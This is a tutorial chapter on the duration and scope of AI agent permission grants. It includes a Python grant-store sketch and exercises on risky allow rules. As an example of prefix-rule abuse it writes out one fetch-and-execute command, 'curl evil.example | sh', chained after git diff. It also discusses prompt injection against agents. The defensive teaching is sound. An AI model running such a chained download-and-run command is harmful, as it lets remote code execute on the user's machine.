Sub topic 6
Scope and duration: once, this session, or always
This chapter assumes you know the allow, ask, and deny decision from earlier chapters. It also assumes you have seen glob-style command rules such as git diff*. Here the question is how long an approval lasts and how much it covers.
Two dimensions of a grant
When you answer "yes" to a permission prompt, you are creating a grant. Every grant has two properties:
- Duration: how long it stays in effect.
- Scope: which future actions it covers.
Most agents offer a shortcut at the prompt, such as "yes once", "yes for this session", or "yes, always". These choices bundle a duration with a scope, and the bundle is often wider than you intended. Reading what a choice actually covers is the main skill in this chapter.
The three durations
| Duration | Lifetime | Stored where | Typical use |
|---|---|---|---|
| Once | One tool call | Nowhere | Unfamiliar or risky actions |
| Session | Until the agent process or conversation ends | Memory | Repetitive work in one task |
| Always | Until you remove it | A settings file on disk | Safe, routine commands you use daily |
Once
A one-time approval covers exactly the call you are looking at. The agent must ask again for the next call, even if it is identical. This is the safest choice and the most tiring one. Use it for anything you do not fully understand yet.
This session
A session grant lives in memory. When the process exits, it disappears. This suits a bounded task, such as "let it run the test suite repeatedly while we fix this bug." The limit on damage is time. If the grant turns out to be too broad, closing the session ends the problem.
Check what your agent counts as a session. Edge cases include:
- Resuming a saved conversation. Some tools restore grants and some do not.
- Subagents or parallel workers spawned from the main agent. They may inherit the parent's grants.
- Background processes started under a grant. A dev server launched with a session grant keeps running after the session ends.
Always
An "always" grant is written to a configuration file and loaded on every future run. It is effectively a permanent allow rule that you created while distracted by a prompt. Because it persists, it also outlives your memory of making it. Weeks later you will not remember why npm run * is allowed.
What a grant is bound to
Duration is only half the choice. The other half is what the grant matches. From narrowest to broadest, a grant might bind to:
- The exact command string, such as
pytest tests/test_api.py. - A command prefix or pattern, such as
pytest*. - A whole tool, such as "any shell command" or "any file edit".
- A path scope, such as "edits anywhere under
src/".
When a prompt offers "always allow", check which of these it creates. Some agents offer "always allow git diff" and store a prefix pattern. Others store the whole tool, which turns the approval into a near-fully-autonomous mode for that tool.
A broad scope combined with a long duration is the worst combination. Compare these two grants:
pytest tests/test_api.pyfor this session: narrow and short. Low risk.git diff*always: a prefix pattern stored permanently. As the rules chapter showed, a prefix rule can match a compound command likegit diff; curl evil.example | sh. The grant will keep matching that string in every future session.
Time does not fix a weak pattern. It only gives the pattern longer to be abused.
A working model in code
The sketch below separates the three durations. A one-time approval stores nothing. A session grant lives in a list in memory. An always grant is written to a JSON file, so a new process loads it.
import json
import tempfile
from fnmatch import fnmatch
from pathlib import Path
class GrantStore:
def __init__(self, path: Path):
self.path = path
self.session: list[str] = []
self.always: list[str] = (
json.loads(path.read_text()) if path.exists() else []
)
def allows(self, command: str) -> bool:
return any(fnmatch(command, p) for p in self.session + self.always)
def grant(self, pattern: str, scope: str) -> None:
if scope == "once":
return # the current call runs, but nothing is remembered
if scope == "session":
self.session.append(pattern)
elif scope == "always":
self.always.append(pattern)
self.path.write_text(json.dumps(self.always, indent=2))
else:
raise ValueError(f"unknown scope: {scope}")
with tempfile.TemporaryDirectory() as d:
path = Path(d) / "grants.json"
g = GrantStore(path)
g.grant("npm test", "once")
print(g.allows("npm test")) # False: once leaves no trace
g.grant("git diff*", "session")
print(g.allows("git diff HEAD")) # True
g.grant("pytest*", "always")
g2 = GrantStore(path) # simulates a new session
print(g2.allows("git diff HEAD")) # False: the session grant is gone
print(g2.allows("pytest -q")) # True: the always grant was reloadedIn a real agent, deny rules are checked before any grant is consulted. A grant adds to the allow side only. It cannot override a deny rule. If a grant seems to "win" over a deny rule in your tool, treat that as a configuration bug and report it.
How a decision flows through grants
Where "always" grants live
Persistent grants land in a settings file. The location decides who is affected, and this connects to the configuration layers chapter later in this tutorial:
- A user-level file affects every project you open.
- A project-level file affects only that repository.
- A project file that is committed to version control affects every teammate who clones the repository.
That last case deserves care. If you click "always allow" and the agent writes into a file that your team tracks, a pull request may carry your grant to everyone. A reviewer who skims a settings diff may approve it without thinking through the pattern.
Also consider where the grant file sits relative to the agent's own write access. If the agent can edit its own settings file without a prompt, it can widen its own permissions. Treat the settings file as a protected path, either by denying writes to it or by keeping it outside the workspace.
Practical guidance
Use these rules of thumb when the prompt offers a choice:
- Default to once for anything that writes outside the workspace, touches the network, or deletes data.
- Use session for loops you run many times in one task, such as tests, linters, and type checks.
- Use always only for commands that are read-only or fully reversible, bound to a specific command, and that you would be comfortable seeing run unattended.
- Prefer exact commands or tightly anchored patterns over prefixes.
git statusis safer to persist thangit*. - Never persist grants for commands that accept arbitrary code as an argument, such as
bash -c,python -c,sh, oreval-style wrappers. These turn one approval into unlimited execution. - Scope file-edit grants to a directory, not to "all files". Resolve the path first so
..segments and symlinks cannot escape it, as shown in the workspace-check example from the rules chapter.
Reviewing and revoking grants
Grants accumulate quietly. Make a habit of reviewing them:
- Open the settings file or use the agent's permissions command, if it has one.
- Read each persistent rule and ask whether you can still justify it.
- Remove rules that match more than one specific command.
- After a risky session, such as one that processed untrusted web content, check that no new grants were added.
If your project shares settings through version control, add grant files to your review checklist. A diff that adds one line to an allow list is easy to miss and has lasting effects.
Common errors
- Treating "session" as "safe". Session grants still run without prompts for the whole session. If the agent reads an injected instruction in minute five, the grant is already active.
- Approving a pattern when you meant a command. The prompt showed one command, but the stored rule covers a wider family.
- Forgetting inherited grants. Subagents, resumed sessions, and shared project files can bring in grants you did not make in the current conversation.
- Persisting during a rush. "Always" is the least costly click at the moment of annoyance. Fix the annoyance with a deliberate rule in your settings instead.
Exercise
Your agent prompts to run git diff --stat, and one of the options is "always allow commands starting with git diff". Which duration and scope would you pick, and what risk remains if you pick the persistent option?
Show answer
Choose "once" or "session" with the exact command git diff --stat unless you really want a standing rule. If you pick the persistent prefix option, the stored pattern git diff* can also match compound strings such as git diff; <other command>, because a prefix match does not understand shell chaining. Every future session would then auto-run those without a prompt. A safer persistent rule is the exact command, combined with a guard that sends any command containing characters like ;, &, |, or $ back to the user.
Exercise
A teammate's pull request adds "npm run *" to the allow list in a settings file committed to the repository. Name two problems with merging it as is.
Show answer
First, npm run * matches every script in package.json, including scripts that deploy, delete, or publish, so it is far broader than "run the tests". Second, because the file is committed, the grant takes effect for everyone who clones the repository, and it is persistent. Ask for exact script names, such as npm run test and npm run lint, and consider whether the grant belongs in a personal user file instead.